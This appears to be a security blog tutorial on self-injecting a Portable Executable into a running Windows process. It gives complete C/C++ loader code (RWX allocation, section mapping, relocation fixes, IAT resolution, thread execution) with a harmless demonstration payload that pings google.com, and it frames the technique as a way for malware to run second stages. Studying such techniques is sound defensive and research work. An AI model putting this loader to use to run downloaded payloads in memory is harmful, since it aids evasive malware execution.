Local Portable Executable Injection

Self Injecting a Payload into your own running process.

Local Portable Executable Injection
https://openart.ai/discovery/sd-1006607279249960970

This post will introduce the concept of injecting PE files into a local process. Previously, both DLL Injection and Reflective DLL Injection techniques were discussed to allow code execution in another process.

This technique will focus on the execution of a payload within a local process. The benefit of this technique over Reflective DLL Injection is that it does not require a DLL or any premade shellcode for execution.

This form of injection is typically used in malware that is downloading another component, such as a second stage, to execute on a system.

Source Code for Examples

The associated code example for this post can be found on the following link.

Payload

The payload for this example will send a HTTP request to Google. This was chosen so that the payload is simple and there is visual feedback that can be seen when the payload is running. Below the sendHTTPRequest function is responsible for sending the HTTP request.

int sendHTTPRequest() {

        LPCSTR userAgent = "agent";
        LPCSTR connectDomain = "google.com";
        LPCSTR httpRequestType = "GET";
        LPCSTR targetPath = "/test";

        HINTERNET internetHandle = InternetOpenA(userAgent, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
        if (internetHandle == NULL) {
                return -1;
        }

        DWORD_PTR dwService = (DWORD_PTR)NULL;

        HINTERNET httpHandle = InternetConnectA(internetHandle, connectDomain, INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, dwService);
        if (httpHandle == NULL) {
                return -1;
        }

        HINTERNET httpRequestHandle = HttpOpenRequestA(httpHandle, httpRequestType, targetPath, NULL, NULL, NULL, 0, dwService);
        if (httpRequestHandle == NULL) {
                return -1;
        }

        BOOL result = HttpSendRequestA(httpRequestHandle, NULL, 0, NULL, 0);
        InternetCloseHandle(internetHandle);

        return 1;
}
HTTP Request Function that acts as our "Payload'

The loopHTTPConnect function will be responsible for looping through the sendHTTPRequest function every two seconds.

void loopHTTPConnect() {

        while (true) {
                Sleep(2000);
                sendHTTPRequest();
                printf("Sent HTTP Request\n");
        }

}
Function that loops through the "Payload" function

The loopHTTPConnect function will be invoked from the programs main() function. This is a standard executable file that can be run directly in Windows, however, our goal is to run it inside of a injector.

int main() {

        printf("HTTP Payload Sending Starting\n");
        loopHTTPConnect();
}
The Payloads Main Function

Local Portable Executable Injector

The local portable executable injector will be responsible for loading the payload and executing it inside of itself as a new thread.

Load the Target Payload

The first step is to read in the payload file from disk, this is achieved by using both CreateFileA to open, GetFileSize to allocate enough heap space via HeapAlloc, and reading the file into the heap space with ReadFile. The payload in this case is read from disk for example purposes, however, it is possible to download it from the network as well.

        HANDLE hExePayloadFile = CreateFileA(&(exePath[0]), GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);
        if (hExePayloadFile == INVALID_HANDLE_VALUE) {
                std::cout << GetLastErrorAsString();
                return -1;
        }

        DWORD exePayloadFileSize = GetFileSize(hExePayloadFile, NULL);
        if (exePayloadFileSize == INVALID_FILE_SIZE) {
                std::cout << GetLastErrorAsString();
                return -1;
        }

        PIMAGE_DOS_HEADER pExePayloadUnmapped = (PIMAGE_DOS_HEADER)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, exePayloadFileSize);
        if (pExePayloadUnmapped == NULL) {
                std::cout << GetLastErrorAsString();
                return -1;
        }

        if (!ReadFile(hExePayloadFile, pExePayloadUnmapped, exePayloadFileSize, NULL, NULL)) {
                std::cout << GetLastErrorAsString();
                return -1;
        }
Reading the Payload from Disk into Memory

Map the Target Payload

At this point we have read the file into a buffer, however, we cannot execute the file yet. Most files at minimum will need to be mapped into memory and have a few alterations, such as resolving the Import Address Table (IAT) and updating the base relocation table. More over, the current file is in the heap which cannot run code.

First, we use VirtualAlloc to allocate memory that is readable, writable, and executable. The file we read from disk into the heap will be copied and run in this allocated buffer.

        PIMAGE_NT_HEADERS64 pExePayloadNTHeaders = (PIMAGE_NT_HEADERS64)(pExePayloadUnmapped->e_lfanew + (LPBYTE)pExePayloadUnmapped);
        PIMAGE_DOS_HEADER pExePayloadMapped = (PIMAGE_DOS_HEADER)VirtualAlloc(NULL, pExePayloadNTHeaders->OptionalHeader.SizeOfImage,
                MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

        if (pExePayloadMapped == NULL) {
                std::cout << GetLastErrorAsString();
                return -1;
        }

Making the entire allocated buffer readable, writable, and executable is a very lazy way of allocating memory and is easily detected by security software scanning memory pages and inspecting API calls, ideally only the .text section is made executble. However, for example purposes we will make the entire memory executable as well.

With the new buffer allocated, we then copy the PE headers from the heap to the new buffer.

        // Copy headers to mapped memory space

        DWORD totalHeaderSize = pExePayloadNTHeaders->OptionalHeader.SizeOfHeaders;
        memcpy_s(pExePayloadMapped, totalHeaderSize, pExePayloadUnmapped, totalHeaderSize);
Copy the PE headers to Buffer

PE files on disk have their sections stored at a raw offset, we need to reference each PE section header to find the virtual address each section will be stored at when the file is mapped into memory.

The next code snippet will loop through each PE section header to find the virtual address, and it will copy the section data from the heap buffer to the executable buffer, placing the section in the correct virtual address offset.

        // Map PE sections into mapped memory space

        DWORD numberOfSections = pExePayloadNTHeaders->FileHeader.NumberOfSections;
        PIMAGE_SECTION_HEADER pCurrentSection = (PIMAGE_SECTION_HEADER)(pExePayloadNTHeaders->FileHeader.SizeOfOptionalHeader + (LPBYTE)&(pExePayloadNTHeaders->OptionalHeader));

        for (DWORD i = 0; i < numberOfSections; i++, pCurrentSection++) {

                if (pCurrentSection->SizeOfRawData != 0) {
                        LPBYTE pSourceSectionData = pCurrentSection->PointerToRawData + (LPBYTE)pExePayloadUnmapped;
                        LPBYTE pDestinationSectionData = pCurrentSection->VirtualAddress + (LPBYTE)pExePayloadMapped;
                        DWORD sectionSize = pCurrentSection->SizeOfRawData;

                        memcpy_s(pDestinationSectionData, sectionSize, pSourceSectionData, sectionSize);
                }
        }
Copy the PE sections to Buffer

Update the Base Relocation Table

The Base Relocation Table will need to be updated in order to ensure that any hardcoded address in the DLL will resolve properly with the new base offset. Generally, you would want to check if there is a base relocation table present. In this case we have a static payload as an example that has a base relocation table.

        DWORD baseRelocationRVA = pExePayloadNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
        PIMAGE_BASE_RELOCATION pCurrentBaseRelocation = (PIMAGE_BASE_RELOCATION)(baseRelocationRVA + (LPBYTE)pExePayloadMapped);

        while (pCurrentBaseRelocation->VirtualAddress != NULL && baseRelocationRVA != 0) {

                DWORD relocationEntryCount = (pCurrentBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
                PIMAGE_RELOC pCurrentBaseRelocationEntry = (PIMAGE_RELOC)((LPBYTE)pCurrentBaseRelocation + sizeof(IMAGE_BASE_RELOCATION));

                for (DWORD i = 0; i < relocationEntryCount; i++, pCurrentBaseRelocationEntry++) {
                        if (pCurrentBaseRelocationEntry->type == IMAGE_REL_BASED_DIR64) {

                                ULONGLONG* pRelocationValue = (ULONGLONG*)((LPBYTE)pExePayloadMapped + (ULONGLONG)((pCurrentBaseRelocation->VirtualAddress + pCurrentBaseRelocationEntry->offset)));
                                ULONGLONG updatedRelocationValue = (ULONGLONG)((*pRelocationValue - pExePayloadNTHeaders->OptionalHeader.ImageBase) + (LPBYTE)pExePayloadMapped);
                                *pRelocationValue = updatedRelocationValue;
                        }
                }

                // Increment current base relocation entry to the next one, we do this by adding its total size to the current offset
                pCurrentBaseRelocation = (PIMAGE_BASE_RELOCATION)((LPBYTE)pCurrentBaseRelocation + pCurrentBaseRelocation->SizeOfBlock);
        }
Update the Base Relocation Table

Resolve the IAT

Now that the PE Headers and PE Sections are mapped into the buffer the IAT will need to be resolved. This is important as the various functions used by the payload (HttpOpenRequestA, InternetConnectA, …) will not work if the IAT is not correctly updated.

        DWORD importDescriptorRVA = pExePayloadNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
        PIMAGE_IMPORT_DESCRIPTOR pMappedCurrentDLLImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importDescriptorRVA + (LPBYTE)pExePayloadMapped);

        while (pMappedCurrentDLLImportDescriptor->Name != NULL && importDescriptorRVA != 0) {
                LPSTR currentDLLName = (LPSTR)(pMappedCurrentDLLImportDescriptor->Name + (LPBYTE)pExePayloadMapped);
                HMODULE hCurrentDLLModule = LoadLibraryA(currentDLLName);

                if (hCurrentDLLModule == NULL) {
                        std::cout << GetLastErrorAsString();
                        return -1;
                }

                PIMAGE_THUNK_DATA64 pImageThunkData = (PIMAGE_THUNK_DATA64)(pMappedCurrentDLLImportDescriptor->FirstThunk + (LPBYTE)pExePayloadMapped);

                while (pImageThunkData->u1.AddressOfData) {

                        if (pImageThunkData->u1.Ordinal & 0x8000000000000000) {
                                // Import is by ordinal

                                FARPROC resolvedImportAddress = GetProcAddress(hCurrentDLLModule, MAKEINTRESOURCEA(pImageThunkData->u1.Ordinal));

                                if (resolvedImportAddress == NULL) {
                                        std::cout << GetLastErrorAsString();
                                        return -1;
                                }

                                // Overwrite entry in IAT with the address of resolved function
                                pImageThunkData->u1.AddressOfData = (ULONGLONG)resolvedImportAddress;

                        }
                        else {
                                // Import is by name
                                PIMAGE_IMPORT_BY_NAME pAddressOfImportData = (PIMAGE_IMPORT_BY_NAME)((pImageThunkData->u1.AddressOfData) + (LPBYTE)pExePayloadMapped);
                                FARPROC resolvedImportAddress = GetProcAddress(hCurrentDLLModule, pAddressOfImportData->Name);

                                if (resolvedImportAddress == NULL) {
                                        std::cout << GetLastErrorAsString();
                                        return -1;
                                }

                                // Overwrite entry in IAT with the address of resolved function
                                pImageThunkData->u1.AddressOfData = (ULONGLONG)resolvedImportAddress;

                        }

                        pImageThunkData++;
                }

                pMappedCurrentDLLImportDescriptor++;
        }
Resolve the IAT

Perform a Self Execution

In the end we have a readable, writable, and executable buffer with a memory mapped PE file. We can now retrieve the entry point of this PE file and start a new thread with CreateThread that will run in the local process. We use WaitForSingleObject with the INFINITE parameter so the main thread created by the operating system does not exit. If the WaitForSingleObject was not present our main thread would exit and the process would end.

            LPTHREAD_START_ROUTINE pExePayloadEntryPoint = (LPTHREAD_START_ROUTINE) (pExePayloadNTHeaders->OptionalHeader.AddressOfEntryPoint + (LPBYTE)pExePayloadMapped);
    
            HANDLE hThread = CreateThread(NULL, 0, pExePayloadEntryPoint, NULL, NULL, NULL);
            if (hThread == NULL) {
                    std::cout << GetLastErrorAsString();
                    return -1;
            }
    
            WaitForSingleObject(hThread, INFINITE);
Run Payload as a Thread

Local Portable Executable Injection Demonstration

The following GIF provides a video demonstration of the injection process. We can see the injector running and injecting into itself. Once the injection is successful we can see the output from the PE Payload printing to the console. Likewise, we can see HTTP traffic begin in Wireshark indicating a successful injection.

Injection Video Demonstration


Digging deeper into Process Hacker we can see a readable, writable, and executable memory section in the Injector process. This is the memory section that stores the PE payload which is being executed in a new thread.

Memory Space with Injected PE File